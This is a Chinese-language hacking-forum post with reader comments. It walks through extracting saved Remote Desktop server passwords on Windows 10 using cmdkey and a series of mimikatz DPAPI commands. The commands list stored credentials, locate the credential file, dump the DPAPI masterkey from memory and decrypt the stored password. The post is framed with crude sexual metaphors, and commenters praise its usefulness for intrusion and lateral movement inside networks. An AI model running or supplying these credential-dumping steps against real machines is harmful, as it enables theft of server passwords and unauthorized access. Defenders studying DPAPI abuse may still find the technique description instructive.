破解远程终端凭据,获取服务器密码
测试环境:windows 10
道友们应该碰到过管理在本地保存远程终端的凭据,凭据里躺着诱人的胴体(服务器密码),早已让我们的大棒饥渴难耐了。
但是,胴体却裹了一身道袍(加密),待老衲操起法器将其宽衣解带。
0x01 凭据管理器中查看Windows凭据:TERMSRV/1xx.xxx.xxx.xx2
可通过命令行获取,执行: cmdkey /list
注意:该命令务必在Session会话下执行,system下执行无结果。
0x02 凭据存储在用户目录下: C:\Users\<username>\AppData\Local\Microsoft\Credentials\*,
图中名为"FF359429D6F19C64BA7D3E282558EEB5"的文件即为目标凭据:TERMSRV/1xx.xxx.xxx.xx2的存储文件
0x03 执行:
mimikatz "dpapi::cred /in:C:\Users\xx\AppData\Local\Microsoft\Credentials\FF359429D6F19C64BA7D3E282558EEB5"
pbData是凭据的加密数据,guidMasterKey是凭据的GUID: {d91b091a-ef25-4424-aa45-a2a56b47a699}。
0x04 执行:
mimikatz privilege::debug sekurlsa::dpapi
根据目标凭据GUID: {d91b091a-ef25-4424-aa45-a2a56b47a699}找到其关联的MasterKey,这个MasterKey就是加密凭据的密钥,即解密pbData所必须的东西。
0x05 拿到了MasterKey,服务器密码便唾手可得。执行解密命令:
mimikatz "dpapi::cred /in:C:\Users\xx\AppData\Local\Microsoft\Credentials\FF359429D6F19C64BA7D3E282558EEB5 /masterkey:28d1f3252c019f9cxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx16dcec8e5dbf5cd0"
解密出来的CredentialBlob即为凭据TERMSRV/1xx.xxx.xxx.xx2的服务器密码。
衣带渐宽终不悔,为伊消得人憔悴。阿弥陀佛。
参考:
http://www.freebuf.com/articles/network/146460.html
评论73次
其实是本地保存的密码!
netpass 你值的拥有
netpass 可惜不支持命令行
又学到了mimikatz强大的一面,感谢楼主。
可以有,肯定能有用到的地方
学xi了 ,有机会试一下
这种凭证很少遇到,而且很难破解,WIN7很少, 服务器版本 不会有
真是越来越厉害了,完全看不明白!学xi吧!
我想问一下,这招如果有凭据,100%可以拿到密码吗?
方法是好的,但是好像有点麻烦,我一般选择用凭据连上3389,然后在远程用mimiktz直接看密码
C:\Users\<username>\AppData\Local\Microsoft\Credentials\为啥我这个目录没文件啊...
你没有进行3389连接
这个很有用,收藏了
mark下,思路不错,学xi了。。。
留个名,以后肯定用的到
感谢大佬分享,这东西实战很有用啊
还能这么操作?只能是win 10 吗?
内网后续 获取其它密码
大佬,为什么按照你的路径找到最后却没有那个文件呢?
是要保存密码才行吧,如果仅仅只是登录 而不保存密码 不行巴
没保存凭证只是登陆过呢?可获取么?